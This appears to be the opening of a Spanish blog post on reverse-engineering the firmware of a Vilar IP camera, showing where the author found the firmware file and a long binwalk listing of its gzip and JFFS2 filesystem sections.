Al final del texto pongo varias referencias de páginas que me han servido de gran ayuda en la comprensión de todo lo que voy a poner a continuación.


Bueno, pues el primer paso, descargar el firmware, no fue tarea fácil, ya que la web del fabricante ha desaparecido (ay estos chinos!). Finalmente lo encontré aquí: http://www.saunalahti.fi/~oh6hop/vilar_ipcam/firmware-eng_v1.1.0.18.bin


Una buena herramienta para analizar el fichero es binwalk (Firmware Analysis Tool):

 


pepelux# binwalk firmware-eng_v1.1.0.18.bin

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
15212     	0x3B6C    	gzip compressed data, from Unix, last modified: Fri Nov 16 03:17:01 2007, max compression
793668    	0xC1C44   	JFFS2 filesystem data little endian, JFFS node length: 43
793712    	0xC1C70   	JFFS2 filesystem data little endian, JFFS node length: 68
793780    	0xC1CB4   	JFFS2 filesystem data little endian, JFFS node length: 43
793824    	0xC1CE0   	JFFS2 filesystem data little endian, JFFS node length: 68
793892    	0xC1D24   	JFFS2 filesystem data little endian, JFFS node length: 44
793936    	0xC1D50   	JFFS2 filesystem data little endian, JFFS node length: 68
794004    	0xC1D94   	JFFS2 filesystem data little endian, JFFS node length: 43
794048    	0xC1DC0   	JFFS2 filesystem data little endian, JFFS node length: 68
794116    	0xC1E04   	JFFS2 filesystem data little endian, JFFS node length: 43
794160    	0xC1E30   	JFFS2 filesystem data little endian, JFFS node length: 68
794228    	0xC1E74   	JFFS2 filesystem data little endian, JFFS node length: 45
794276    	0xC1EA4   	JFFS2 filesystem data little endian, JFFS node length: 68
794344    	0xC1EE8   	JFFS2 filesystem data little endian, JFFS node length: 43
794388    	0xC1F14   	JFFS2 filesystem data little endian, JFFS node length: 68
794456    	0xC1F58   	JFFS2 filesystem data little endian, JFFS node length: 43
794500    	0xC1F84   	JFFS2 filesystem data little endian, JFFS node length: 68
794568    	0xC1FC8   	JFFS2 filesystem data little endian, JFFS node length: 42
794612    	0xC1FF4   	JFFS2 filesystem data little endian, JFFS node length: 68
794680    	0xC2038   	JFFS2 filesystem data little endian, JFFS node length: 43
794724    	0xC2064   	JFFS2 filesystem data little endian, JFFS node length: 68
794792    	0xC20A8   	JFFS2 filesystem data little endian, JFFS node length: 43
794836    	0xC20D4   	JFFS2 filesystem data little endian, JFFS node length: 68
794904    	0xC2118   	JFFS2 filesystem data little endian, JFFS node length: 43
794948    	0xC2144   	JFFS2 filesystem data little endian, JFFS node length: 68
795016    	0xC2188   	JFFS2 filesystem data little endian, JFFS node length: 43
795060    	0xC21B4   	JFFS2 filesystem data little endian, JFFS node length: 68
795128    	0xC21F8   	JFFS2 filesystem data little endian, JFFS node length: 43
795172    	0xC2224   	JFFS2 filesystem data little endian, JFFS node length: 68
795240    	0xC2268   	JFFS2 filesystem data little endian, JFFS node length: 43
795284    	0xC2294   	JFFS2 filesystem data little endian, JFFS node length: 68
795352    	0xC22D8   	JFFS2 filesystem data little endian, JFFS node length: 43
795396    	0xC2304   	JFFS2 filesystem data little endian, JFFS node length: 68
795464    	0xC2348   	JFFS2 filesystem data little endian, JFFS node length: 44
795508    	0xC2374   	JFFS2 filesystem data little endian, JFFS node length: 68
795576    	0xC23B8   	JFFS2 filesystem data little endian, JFFS node length: 45
795624    	0xC23E8   	JFFS2 filesystem data little endian, JFFS node length: 68
795692    	0xC242C   	JFFS2 filesystem data little endian, JFFS node length: 44
795736    	0xC2458   	JFFS2 filesystem data little endian, JFFS node length: 68
795804    	0xC249C   	JFFS2 filesystem data little endian, JFFS node length: 46
795852    	0xC24CC   	JFFS2 filesystem data little endian, JFFS node length: 68
795920    	0xC2510   	JFFS2 filesystem data little endian, JFFS node length: 43
795964    	0xC253C   	JFFS2 filesystem data little endian, JFFS node length: 68
796032    	0xC2580   	JFFS2 filesystem data little endian, JFFS node length: 43
796076    	0xC25AC   	JFFS2 filesystem data little endian, JFFS node length: 68
796144    	0xC25F0   	JFFS2 filesystem data little endian, JFFS node length: 44
796188    	0xC261C   	JFFS2 filesystem data little endian, JFFS node length: 68
796256    	0xC2660   	JFFS2 filesystem data little endian, JFFS node length: 44
796300    	0xC268C   	JFFS2 filesystem data little endian, JFFS node length: 68
796368    	0xC26D0   	JFFS2 filesystem data little endian, JFFS node length: 43
796412    	0xC26FC   	JFFS2 filesystem data little endian, JFFS node length: 68
796480    	0xC2740   	JFFS2 filesystem data little endian, JFFS node length: 44
796524    	0xC276C   	JFFS2 filesystem data little endian, JFFS node length: 68
796592    	0xC27B0   	JFFS2 filesystem data little endian, JFFS node length: 43
796636    	0xC27DC   	JFFS2 filesystem data little endian, JFFS node length: 68
796704    	0xC2820   	JFFS2 filesystem data little endian, JFFS node length: 47
796752    	0xC2850   	JFFS2 filesystem data little endian, JFFS node length: 68
796820    	0xC2894   	JFFS2 filesystem data little endian, JFFS node length: 45
796868    	0xC28C4   	JFFS2 filesystem data little endian, JFFS node length: 68
796936    	0xC2908   	JFFS2 filesystem data little endian, JFFS node length: 44
796980    	0xC2934   	JFFS2 filesystem data little endian, JFFS node length: 68
797048    	0xC2978   	JFFS2 filesystem data little endian, JFFS node length: 45
797096    	0xC29A8   	JFFS2 filesystem data little endian, JFFS node length: 68
797164    	0xC29EC   	JFFS2 filesystem data little endian, JFFS node length: 44
797208    	0xC2A18   	JFFS2 filesystem data little endian, JFFS node length: 68
797276    	0xC2A5C   	JFFS2 filesystem data little endian, JFFS node length: 47
797324    	0xC2A8C   	JFFS2 filesystem data little endian, JFFS node length: 68
797392    	0xC2AD0   	JFFS2 filesystem data little endian, JFFS node length: 44
797436    	0xC2AFC   	JFFS2 filesystem data little endian, JFFS node length: 68
797504    	0xC2B40   	JFFS2 filesystem data little endian, JFFS node length: 45
797552    	0xC2B70   	JFFS2 filesystem data little endian, JFFS node length: 68
797620    	0xC2BB4   	JFFS2 filesystem data little endian, JFFS node length: 46
797668    	0xC2BE4   	JFFS2 filesystem data little endian, JFFS node length: 68
797736    	0xC2C28   	JFFS2 filesystem data little endian, JFFS node length: 47
797784    	0xC2C58   	JFFS2 filesystem data little endian, JFFS node length: 68
797852    	0xC2C9C   	JFFS2 filesystem data little endian, JFFS node length: 48
797900    	0xC2CCC   	JFFS2 filesystem data little endian, JFFS node length: 68
797968    	0xC2D10   	JFFS2 filesystem data little endian, JFFS node length: 45
798016    	0xC2D40   	JFFS2 filesystem data little endian, JFFS node length: 68
798084    	0xC2D84   	JFFS2 filesystem data little endian, JFFS node length: 44
798128    	0xC2DB0   	JFFS2 filesystem data little endian, JFFS node length: 68
798196    	0xC2DF4   	JFFS2 filesystem data little endian, JFFS node length: 44
798240    	0xC2E20   	JFFS2 filesystem data little endian, JFFS node length: 68
798308    	0xC2E64   	JFFS2 filesystem data little endian, JFFS node length: 47
798356    	0xC2E94   	JFFS2 filesystem data little endian, JFFS node length: 82
798440    	0xC2EE8   	JFFS2 filesystem data little endian, JFFS node length: 42
798484    	0xC2F14   	JFFS2 filesystem data little endian, JFFS node length: 75
798560    	0xC2F60   	JFFS2 filesystem data little endian, JFFS node length: 42
798604    	0xC2F8C   	JFFS2 filesystem data little endian, JFFS node length: 75
798680    	0xC2FD8   	JFFS2 filesystem data little endian, JFFS node length: 48
798728    	0xC3008   	JFFS2 filesystem data little endian, JFFS node length: 82
798812    	0xC305C   	JFFS2 filesystem data little endian, JFFS node length: 42
798856    	0xC3088   	JFFS2 filesystem data little endian, JFFS node length: 75
798932    	0xC30D4   	JFFS2 filesystem data little endian, JFFS node length: 42
798976    	0xC3100   	JFFS2 filesystem data little endian, JFFS node length: 75
799052    	0xC314C   	JFFS2 filesystem data little endian, JFFS node length: 42
799096    	0xC3178   	JFFS2 filesystem data little endian, JFFS node length: 75
799172    	0xC31C4   	JFFS2 filesystem data little endian, JFFS node length: 42
799216    	0xC31F0   	JFFS2 filesystem data little endian, JFFS node length: 2598
801816    	0xC3C18   	JFFS2 filesystem data little endian, JFFS node length: 2723
804540    	0xC46BC   	JFFS2 filesystem data little endian, JFFS node length: 2680
807220    	0xC5134   	JFFS2 filesystem data little endian, JFFS node length: 2348
809568    	0xC5A60   	JFFS2 filesystem data little endian, JFFS node length: 2710
812280    	0xC64F8   	JFFS2 filesystem data little endian, JFFS node length: 2625
814908    	0xC6F3C   	JFFS2 filesystem data little endian, JFFS node length: 2199
817108    	0xC77D4   	JFFS2 filesystem data little endian, JFFS node length: 2083
819192    	0xC7FF8   	JFFS2 filesystem data little endian, JFFS node length: 1088
820280    	0xC8438   	JFFS2 filesystem data little endian, JFFS node length: 42
820324    	0xC8464   	JFFS2 filesystem data little endian, JFFS node length: 75
820400    	0xC84B0   	JFFS2 filesystem data little endian, JFFS node length: 42
820444    	0xC84DC   	JFFS2 filesystem data little endian, JFFS node length: 2490
822936    	0xC8E98   	JFFS2 filesystem data little endian, JFFS node length: 2519
825456    	0xC9870   	JFFS2 filesystem data little endian, JFFS node length: 2285
827744    	0xCA160   	JFFS2 filesystem data little endian, JFFS node length: 2441
830188    	0xCAAEC   	JFFS2 filesystem data little endian, JFFS node length: 2591
832780    	0xCB50C   	JFFS2 filesystem data little endian, JFFS node length: 2549
835332    	0xCBF04   	JFFS2 filesystem data little endian, JFFS node length: 2567
837900    	0xCC90C   	JFFS2 filesystem data little endian, JFFS node length: 2583
840484    	0xCD324   	JFFS2 filesystem data little endian, JFFS node length: 2193
842680    	0xCDBB8   	JFFS2 filesystem data little endian, JFFS node length: 2674
845356    	0xCE62C   	JFFS2 filesystem data little endian, JFFS node length: 1525
846884    	0xCEC24   	JFFS2 filesystem data little endian, JFFS node length: 887
847772    	0xCEF9C   	JFFS2 filesystem data little endian, JFFS node length: 42
847816    	0xCEFC8   	JFFS2 filesystem data little endian, JFFS node length: 2590
850408    	0xCF9E8   	JFFS2 filesystem data little endian, JFFS node length: 2519
852928    	0xD03C0   	JFFS2 filesystem data little endian, JFFS node length: 2691
855620    	0xD0E44   	JFFS2 filesystem data little endian, JFFS node length: 2682
858304    	0xD18C0   	JFFS2 filesystem data little endian, JFFS node length: 894
859204    	0xD1C44   	JFFS2 filesystem data little endian, JFFS node length: 1925
861132    	0xD23CC   	JFFS2 filesystem data little endian, JFFS node length: 2629
863764    	0xD2E14   	JFFS2 filesystem data little endian, JFFS node length: 2721
866488    	0xD38B8   	JFFS2 filesystem data little endian, JFFS node length: 2679
869168    	0xD4330   	JFFS2 filesystem data little endian, JFFS node length: 2639
871808    	0xD4D80   	JFFS2 filesystem data little endian, JFFS node length: 2423
874232    	0xD56F8   	JFFS2 filesystem data little endian, JFFS node length: 2682
876916    	0xD6174   	JFFS2 filesystem data little endian, JFFS node length: 2535
879452    	0xD6B5C   	JFFS2 filesystem data little endian, JFFS node length: 2325
881780    	0xD7474   	JFFS2 filesystem data little endian, JFFS node length: 2149
883932    	0xD7CDC   	JFFS2 filesystem data little endian, JFFS node length: 2659
886592    	0xD8740   	JFFS2 filesystem data little endian, JFFS node length: 2630
889224    	0xD9188   	JFFS2 filesystem data little endian, JFFS node length: 2315
891540    	0xD9A94   	JFFS2 filesystem data little endian, JFFS node length: 2201
893744    	0xDA330   	JFFS2 filesystem data little endian, JFFS node length: 1996
895740    	0xDAAFC   	JFFS2 filesystem data little endian, JFFS node length: 2433
898176    	0xDB480   	JFFS2 filesystem data little endian, JFFS node length: 2163
900340    	0xDBCF4   	JFFS2 filesystem data little endian, JFFS node length: 2057
902400    	0xDC500   	JFFS2 filesystem data little endian, JFFS node length: 680
903080    	0xDC7A8   	JFFS2 filesystem data little endian, JFFS node length: 46
903128    	0xDC7D8   	JFFS2 filesystem data little endian, JFFS node length: 82
903212    	0xDC82C   	JFFS2 filesystem data little endian, JFFS node length: 43
903256    	0xDC858   	JFFS2 filesystem data little endian, JFFS node length: 75
903332    	0xDC8A4   	JFFS2 filesystem data little endian, JFFS node length: 43
903376    	0xDC8D0   	JFFS2 filesystem data little endian, JFFS node length: 2605
905984    	0xDD300   	JFFS2 filesystem data little endian, JFFS node length: 2506
908492    	0xDDCCC   	JFFS2 filesystem data little endian, JFFS node length: 2453
910948    	0xDE664   	JFFS2 filesystem data little endian, JFFS node length: 2635
913584    	0xDF0B0   	JFFS2 filesystem data little endian, JFFS node length: 2528
916112    	0xDFA90   	JFFS2 filesystem data little endian, JFFS node length: 2576
918688    	0xE04A0   	JFFS2 filesystem data little endian, JFFS node length: 2412
921100    	0xE0E0C   	JFFS2 filesystem data little endian, JFFS node length: 2630
923732    	0xE1854   	JFFS2 filesystem data little endian, JFFS node length: 1003
924740    	0xE1C44   	JFFS2 filesystem data little endian, JFFS node length: 1293
926036    	0xE2154   	JFFS2 filesystem data little endian, JFFS node length: 2272
928308    	0xE2A34   	JFFS2 filesystem data little endian, JFFS node length: 2496
930804    	0xE33F4   	JFFS2 filesystem data little endian, JFFS node length: 2645
933452    	0xE3E4C   	JFFS2 filesystem data little endian, JFFS node length: 2387
935840    	0xE47A0   	JFFS2 filesystem data little endian, JFFS node length: 2769
938612    	0xE5274   	JFFS2 filesystem data little endian, JFFS node length: 2599
941212    	0xE5C9C   	JFFS2 filesystem data little endian, JFFS node length: 2695
943908    	0xE6724   	JFFS2 filesystem data little endian, JFFS node length: 2627
946536    	0xE7168   	JFFS2 filesystem data little endian, JFFS node length: 2576
949112    	0xE7B78   	JFFS2 filesystem data little endian, JFFS node length: 2303
951416    	0xE8478   	JFFS2 filesystem data little endian, JFFS node length: 2357
953776    	0xE8DB0   	JFFS2 filesystem data little endian, JFFS node length: 2720
956496    	0xE9850   	JFFS2 filesystem data little endian, JFFS node length: 2767
959264    	0xEA320   	JFFS2 filesystem data little endian, JFFS node length: 2513
961780    	0xEACF4   	JFFS2 filesystem data little endian, JFFS node length: 2612
964392    	0xEB728   	JFFS2 filesystem data little endian, JFFS node length: 2110
966504    	0xEBF68   	JFFS2 filesystem data little endian, JFFS node length: 2138
968644    	0xEC7C4   	JFFS2 filesystem data little endian, JFFS node length: 2028
970672    	0xECFB0   	JFFS2 filesystem data little endian, JFFS node length: 1765
972440    	0xED698   	JFFS2 filesystem data little endian, JFFS node length: 2236
974676    	0xEDF54   	JFFS2 filesystem data little endian, JFFS node length: 1968
976644    	0xEE704   	JFFS2 filesystem data little endian, JFFS node length: 2134
978780    	0xEEF5C   	JFFS2 filesystem data little endian, JFFS node length: 2013
980796    	0xEF73C   	JFFS2 filesystem data little endian, JFFS node length: 45
980844    	0xEF76C   	JFFS2 filesystem data little endian, JFFS node length: 82
980928    	0xEF7C0   	JFFS2 filesystem data little endian, JFFS node length: 45
980976    	0xEF7F0   	JFFS2 filesystem data little endian, JFFS node length: 77
981056    	0xEF840   	JFFS2 filesystem data little endian, JFFS node length: 45
981104    	0xEF870   	JFFS2 filesystem data little endian, JFFS node length: 2497
983604    	0xF0234   	JFFS2 filesystem data little endian, JFFS node length: 2709
986316    	0xF0CCC   	JFFS2 filesystem data little endian, JFFS node length: 2674
988992    	0xF1740   	JFFS2 filesystem data little endian, JFFS node length: 1280
990276    	0xF1C44   	JFFS2 filesystem data little endian, JFFS node length: 1439
991716    	0xF21E4   	JFFS2 filesystem data little endian, JFFS node length: 2748
994464    	0xF2CA0   	JFFS2 filesystem data little endian, JFFS node length: 2250
996716    	0xF356C   	JFFS2 filesystem data little endian, JFFS node length: 2334
999052    	0xF3E8C   	JFFS2 filesystem data little endian, JFFS node length: 1828
1000880   	0xF45B0   	JFFS2 filesystem data little endian, JFFS node length: 517
1001400   	0xF47B8   	JFFS2 filesystem data little endian, JFFS node length: 43
1001444   	0xF47E4   	JFFS2 filesystem data little endian, JFFS node length: 75
1001520   	0xF4830   	JFFS2 filesystem data little endian, JFFS node length: 41
1001564   	0xF485C   	JFFS2 filesystem data little endian, JFFS node length: 75
1001640   	0xF48A8   	JFFS2 filesystem data little endian, JFFS node length: 44
1001684   	0xF48D4   	JFFS2 filesystem data little endian, JFFS node length: 75
1001760   	0xF4920   	JFFS2 filesystem data little endian, JFFS node length: 44
1001804   	0xF494C   	JFFS2 filesystem data little endian, JFFS node length: 2533
1004340   	0xF5334   	JFFS2 filesystem data little endian, JFFS node length: 2786
1007128   	0xF5E18   	JFFS2 filesystem data little endian, JFFS node length: 2379
1009508   	0xF6764   	JFFS2 filesystem data little endian, JFFS node length: 2660
1012168   	0xF71C8   	JFFS2 filesystem data little endian, JFFS node length: 2298
1014454   	0xF7AB6   	JFFS2 filesystem (old) data little endian, JFFS node length: 786944
1014468   	0xF7AC4   	JFFS2 filesystem data little endian, JFFS node length: 588
1015056   	0xF7D10   	JFFS2 filesystem data little endian, JFFS node length: 44
1015100   	0xF7D3C   	JFFS2 filesystem data little endian, JFFS node length: 75
1015176   	0xF7D88   	JFFS2 filesystem data little endian, JFFS node length: 44
1015220   	0xF7DB4   	JFFS2 filesystem data little endian, JFFS node length: 75
1015296   	0xF7E00   	JFFS2 filesystem data little endian, JFFS node length: 45
1015344   	0xF7E30   	JFFS2 filesystem data little endian, JFFS node length: 2397
1017744   	0xF8790   	JFFS2 filesystem data little endian, JFFS node length: 2399
1020144   	0xF90F0   	JFFS2 filesystem data little endian, JFFS node length: 2101
1022248   	0xF9928   	JFFS2 filesystem data little endian, JFFS node length: 2264
1024512   	0xFA200   	JFFS2 filesystem data little endian, JFFS node length: 2358
1026872   	0xFAB38   	JFFS2 filesystem data little endian, JFFS node length: 2426
1029300   	0xFB4B4   	JFFS2 filesystem data little endian, JFFS node length: 2687
1031988   	0xFBF34   	JFFS2 filesystem data little endian, JFFS node length: 2390
1034380   	0xFC88C   	JFFS2 filesystem data little endian, JFFS node length: 2373
1036756   	0xFD1D4   	JFFS2 filesystem data little endian, JFFS node length: 2416
1039172   	0xFDB44   	JFFS2 filesystem data little endian, JFFS node length: 2596
1041768   	0xFE568   	JFFS2 filesystem data little endian, JFFS node length: 2607
1044376   	0xFEF98   	JFFS2 filesystem data little endian, JFFS node length: 2570
1046948   	0xFF9A4   	JFFS2 filesystem data little endian, JFFS node length: 2322
1049272   	0x1002B8  	JFFS2 filesystem data little endian, JFFS node length: 2423
1051696   	0x100C30  	JFFS2 filesystem data little endian, JFFS node length: 2598
1054296   	0x101658  	JFFS2 filesystem data little endian, JFFS node length: 1512
1055812   	0x101C44  	JFFS2 filesystem data little endian, JFFS node length: 1137
1056952   	0x1020B8  	JFFS2 filesystem data little endian, JFFS node length: 2517
1059472   	0x102A90  	JFFS2 filesystem data little endian, JFFS node length: 2614
1062088   	0x1034C8  	JFFS2 filesystem data little endian, JFFS node length: 2478
1064568   	0x103E78  	JFFS2 filesystem data little endian, JFFS node length: 2267
1066836   	0x104754  	JFFS2 filesystem data little endian, JFFS node length: 2290
1069128   	0x105048  	JFFS2 filesystem data little endian, JFFS node length: 2495
1071624   	0x105A08  	JFFS2 filesystem data little endian, JFFS node length: 1732
1073356   	0x1060CC  	JFFS2 filesystem data little endian, JFFS node length: 1545
1074904   	0x1066D8  	JFFS2 filesystem data little endian, JFFS node length: 1601
1076508   	0x106D1C  	JFFS2 filesystem data little endian, JFFS node length: 1952
1078460   	0x1074BC  	JFFS2 filesystem data little endian, JFFS node length: 1833
1080296   	0x107BE8  	JFFS2 filesystem data little endian, JFFS node length: 2349
1082648   	0x108518  	JFFS2 filesystem data little endian, JFFS node length: 2505
1085156   	0x108EE4  	JFFS2 filesystem data little endian, JFFS node length: 2059
1087216   	0x1096F0  	JFFS2 filesystem data little endian, JFFS node length: 1836
1089052   	0x109E1C  	JFFS2 filesystem data little endian, JFFS node length: 1813
1090868   	0x10A534  	JFFS2 filesystem data little endian, JFFS node length: 1788
1092656   	0x10AC30  	JFFS2 filesystem data little endian, JFFS node length: 1953
1094612   	0x10B3D4  	JFFS2 filesystem data little endian, JFFS node length: 1910
1096524   	0x10BB4C  	JFFS2 filesystem data little endian, JFFS node length: 2039
1098564   	0x10C344  	JFFS2 filesystem data little endian, JFFS node length: 1231
1099796   	0x10C814  	JFFS2 filesystem data little endian, JFFS node length: 2091
1101888   	0x10D040  	JFFS2 filesystem data little endian, JFFS node length: 1806
1103696   	0x10D750  	JFFS2 filesystem data little endian, JFFS node length: 1804
1105500   	0x10DE5C  	JFFS2 filesystem data little endian, JFFS node length: 1877
1107380   	0x10E5B4  	JFFS2 filesystem data little endian, JFFS node length: 1857
1109240   	0x10ECF8  	JFFS2 filesystem data little endian, JFFS node length: 1900
1111140   	0x10F464  	JFFS2 filesystem data little endian, JFFS node length: 2022
1113164   	0x10FC4C  	JFFS2 filesystem data little endian, JFFS node length: 1276
1114440   	0x110148  	JFFS2 filesystem data little endian, JFFS node length: 1836
1116276   	0x110874  	JFFS2 filesystem data little endian, JFFS node length: 1876
1118152   	0x110FC8  	JFFS2 filesystem data little endian, JFFS node length: 1865
1120020   	0x111714  	JFFS2 filesystem data little endian, JFFS node length: 1324
1121348   	0x111C44  	JFFS2 filesystem data little endian, JFFS node length: 963
1122312   	0x112008  	JFFS2 filesystem data little endian, JFFS node length: 1908
1124220   	0x11277C  	JFFS2 filesystem data little endian, JFFS node length: 1901
1126124   	0x112EEC  	JFFS2 filesystem data little endian, JFFS node length: 1923
1128048   	0x113670  	JFFS2 filesystem data little endian, JFFS node length: 1377
1129428   	0x113BD4  	JFFS2 filesystem data little endian, JFFS node length: 1492
1130920   	0x1141A8  	JFFS2 filesystem data little endian, JFFS node length: 1500
1132420   	0x114784  	JFFS2 filesystem data little endian, JFFS node length: 1974
1134396   	0x114F3C  	JFFS2 filesystem data little endian, JFFS node length: 2302
1136700   	0x11583C  	JFFS2 filesystem data little endian, JFFS node length: 1922
1138624   	0x115FC0  	JFFS2 filesystem data little endian, JFFS node length: 1992
1140616   	0x116788  	JFFS2 filesystem data little endian, JFFS node length: 2137
1142756   	0x116FE4  	JFFS2 filesystem data little endian, JFFS node length: 1594
1144352   	0x117620  	JFFS2 filesystem data little endian, JFFS node length: 1828
1146180   	0x117D44  	JFFS2 filesystem data little endian, JFFS node length: 1814
1147996   	0x11845C  	JFFS2 filesystem data little endian, JFFS node length: 2167
1150164   	0x118CD4  	JFFS2 filesystem data little endian, JFFS node length: 1667
1151832   	0x119358  	JFFS2 filesystem data little endian, JFFS node length: 1984
1153816   	0x119B18  	JFFS2 filesystem data little endian, JFFS node length: 1417
1155236   	0x11A0A4  	JFFS2 filesystem data little endian, JFFS node length: 1446
1156684   	0x11A64C  	JFFS2 filesystem data little endian, JFFS node length: 939
1157624   	0x11A9F8  	JFFS2 filesystem data little endian, JFFS node length: 1473
1159100   	0x11AFBC  	JFFS2 filesystem data little endian, JFFS node length: 1171
1160272   	0x11B450  	JFFS2 filesystem data little endian, JFFS node length: 1509
1161784   	0x11BA38  	JFFS2 filesystem data little endian, JFFS node length: 2095
1163880   	0x11C268  	JFFS2 filesystem data little endian, JFFS node length: 2295
1166176   	0x11CB60  	JFFS2 filesystem data little endian, JFFS node length: 2025
1168204   	0x11D34C  	JFFS2 filesystem data little endian, JFFS node length: 2161
1170368   	0x11DBC0  	JFFS2 filesystem data little endian, JFFS node length: 2217
1172588   	0x11E46C  	JFFS2 filesystem data little endian, JFFS node length: 1810
1174400   	0x11EB80  	JFFS2 filesystem data little endian, JFFS node length: 1694
1176096   	0x11F220  	JFFS2 filesystem data little endian, JFFS node length: 1696
1177792   	0x11F8C0  	JFFS2 filesystem data little endian, JFFS node length: 1751
1179544   	0x11FF98  	JFFS2 filesystem data little endian, JFFS node length: 1996
1181540   	0x120764  	JFFS2 filesystem data little endian, JFFS node length: 2362
1183904   	0x1210A0  	JFFS2 filesystem data little endian, JFFS node length: 2072
1185976   	0x1218B8  	JFFS2 filesystem data little endian, JFFS node length: 902
1186884   	0x121C44  	JFFS2 filesystem data little endian, JFFS node length: 1488
1188372   	0x122214  	JFFS2 filesystem data little endian, JFFS node length: 2401
1190776   	0x122B78  	JFFS2 filesystem data little endian, JFFS node length: 1916
1192692   	0x1232F4  	JFFS2 filesystem data little endian, JFFS node length: 2299
1194992   	0x123BF0  	JFFS2 filesystem data little endian, JFFS node length: 2089
1197084   	0x12441C  	JFFS2 filesystem data little endian, JFFS node length: 2162
1199248   	0x124C90  	JFFS2 filesystem data little endian, JFFS node length: 2166
1201416   	0x125508  	JFFS2 filesystem data little endian, JFFS node length: 1626
1203044   	0x125B64  	JFFS2 filesystem data little endian, JFFS node length: 2060
1205104   	0x126370  	JFFS2 filesystem data little endian, JFFS node length: 1674
1206780   	0x1269FC  	JFFS2 filesystem data little endian, JFFS node length: 1848
1208628   	0x127134  	JFFS2 filesystem data little endian, JFFS node length: 1327
1209956   	0x127664  	JFFS2 filesystem data little endian, JFFS node length: 1739
1211696   	0x127D30  	JFFS2 filesystem data little endian, JFFS node length: 1687
1213384   	0x1283C8  	JFFS2 filesystem data little endian, JFFS node length: 1311
1214696   	0x1288E8  	JFFS2 filesystem data little endian, JFFS node length: 1670
1216368   	0x128F70  	JFFS2 filesystem data little endian, JFFS node length: 1895
1218264   	0x1296D8  	JFFS2 filesystem data little endian, JFFS node length: 1835
1220100   	0x129E04  	JFFS2 filesystem data little endian, JFFS node length: 1714
1221816   	0x12A4B8  	JFFS2 filesystem data little endian, JFFS node length: 1891
1223708   	0x12AC1C  	JFFS2 filesystem data little endian, JFFS node length: 1744
1225452   	0x12B2EC  	JFFS2 filesystem data little endian, JFFS node length: 2034
1227488   	0x12BAE0  	JFFS2 filesystem data little endian, JFFS node length: 1808
1229296   	0x12C1F0  	JFFS2 filesystem data little endian, JFFS node length: 1724
1231020   	0x12C8AC  	JFFS2 filesystem data little endian, JFFS node length: 1921
1232944   	0x12D030  	JFFS2 filesystem data little endian, JFFS node length: 1854
1234800   	0x12D770  	JFFS2 filesystem data little endian, JFFS node length: 1578
1236380   	0x12DD9C  	JFFS2 filesystem data little endian, JFFS node length: 1806
1238188   	0x12E4AC  	JFFS2 filesystem data little endian, JFFS node length: 1742
1239932   	0x12EB7C  	JFFS2 filesystem data little endian, JFFS node length: 1909
1241844   	0x12F2F4  	JFFS2 filesystem data little endian, JFFS node length: 1518
1243364   	0x12F8E4  	JFFS2 filesystem data little endian, JFFS node length: 1467
1244832   	0x12FEA0  	JFFS2 filesystem data little endian, JFFS node length: 1389
1246224   	0x130410  	JFFS2 filesystem data little endian, JFFS node length: 1596
1247820   	0x130A4C  	JFFS2 filesystem data little endian, JFFS node length: 1447
1249268   	0x130FF4  	JFFS2 filesystem data little endian, JFFS node length: 1722
1250992   	0x1316B0  	JFFS2 filesystem data little endian, JFFS node length: 1423
1252420   	0x131C44  	JFFS2 filesystem data little endian, JFFS node length: 400
1252820   	0x131DD4  	JFFS2 filesystem data little endian, JFFS node length: 1782
1254604   	0x1324CC  	JFFS2 filesystem data little endian, JFFS node length: 1746
1256352   	0x132BA0  	JFFS2 filesystem data little endian, JFFS node length: 1884
1258236   	0x1332FC  	JFFS2 filesystem data little endian, JFFS node length: 1514
1259752   	0x1338E8  	JFFS2 filesystem data little endian, JFFS node length: 1538
1261292   	0x133EEC  	JFFS2 filesystem data little endian, JFFS node length: 1776
1263068   	0x1345DC  	JFFS2 filesystem data little endian, JFFS node length: 1519
1264588   	0x134BCC  	JFFS2 filesystem data little endian, JFFS node length: 2035
1266624   	0x1353C0  	JFFS2 filesystem data little endian, JFFS node length: 2218
1268844   	0x135C6C  	JFFS2 filesystem data little endian, JFFS node length: 2021
1270868   	0x136454  	JFFS2 filesystem data little endian, JFFS node length: 2055
1272924   	0x136C5C  	JFFS2 filesystem data little endian, JFFS node length: 2276
1275200   	0x137540  	JFFS2 filesystem data little endian, JFFS node length: 1972
1277172   	0x137CF4  	JFFS2 filesystem data little endian, JFFS node length: 1541
1278716   	0x1382FC  	JFFS2 filesystem data little endian, JFFS node length: 1535
1280252   	0x1388FC  	JFFS2 filesystem data little endian, JFFS node length: 2002
1282256   	0x1390D0  	JFFS2 filesystem data little endian, JFFS node length: 1440
1283696   	0x139670  	JFFS2 filesystem data little endian, JFFS node length: 2407
1286104   	0x139FD8  	JFFS2 filesystem data little endian, JFFS node length: 1889
1287996   	0x13A73C  	JFFS2 filesystem data little endian, JFFS node length: 1588
1289584   	0x13AD70  	JFFS2 filesystem data little endian, JFFS node length: 1543
1291128   	0x13B378  	JFFS2 filesystem data little endian, JFFS node length: 2056
1293184   	0x13BB80  	JFFS2 filesystem data little endian, JFFS node length: 1425
1294612   	0x13C114  	JFFS2 filesystem data little endian, JFFS node length: 2446
1297060   	0x13CAA4  	JFFS2 filesystem data little endian, JFFS node length: 2378
1299440   	0x13D3F0  	JFFS2 filesystem data little endian, JFFS node length: 2573
1302016   	0x13DE00  	JFFS2 filesystem data little endian, JFFS node length: 2479
1304496   	0x13E7B0  	JFFS2 filesystem data little endian, JFFS node length: 2477
1306976   	0x13F160  	JFFS2 filesystem data little endian, JFFS node length: 2269
1309248   	0x13FA40  	JFFS2 filesystem data little endian, JFFS node length: 2454
1311704   	0x1403D8  	JFFS2 filesystem data little endian, JFFS node length: 2277
1313984   	0x140CC0  	JFFS2 filesystem data little endian, JFFS node length: 2250
1316236   	0x14158C  	JFFS2 filesystem data little endian, JFFS node length: 1716
1317956   	0x141C44  	JFFS2 filesystem data little endian, JFFS node length: 854
1318812   	0x141F9C  	JFFS2 filesystem data little endian, JFFS node length: 2468
1321280   	0x142940  	JFFS2 filesystem data little endian, JFFS node length: 2297
1323580   	0x14323C  	JFFS2 filesystem data little endian, JFFS node length: 2330
1325912   	0x143B58  	JFFS2 filesystem data little endian, JFFS node length: 2320
1328232   	0x144468  	JFFS2 filesystem data little endian, JFFS node length: 2180
1330412   	0x144CEC  	JFFS2 filesystem data little endian, JFFS node length: 2377
1332792   	0x145638  	JFFS2 filesystem data little endian, JFFS node length: 2368
1335160   	0x145F78  	JFFS2 filesystem data little endian, JFFS node length: 2574
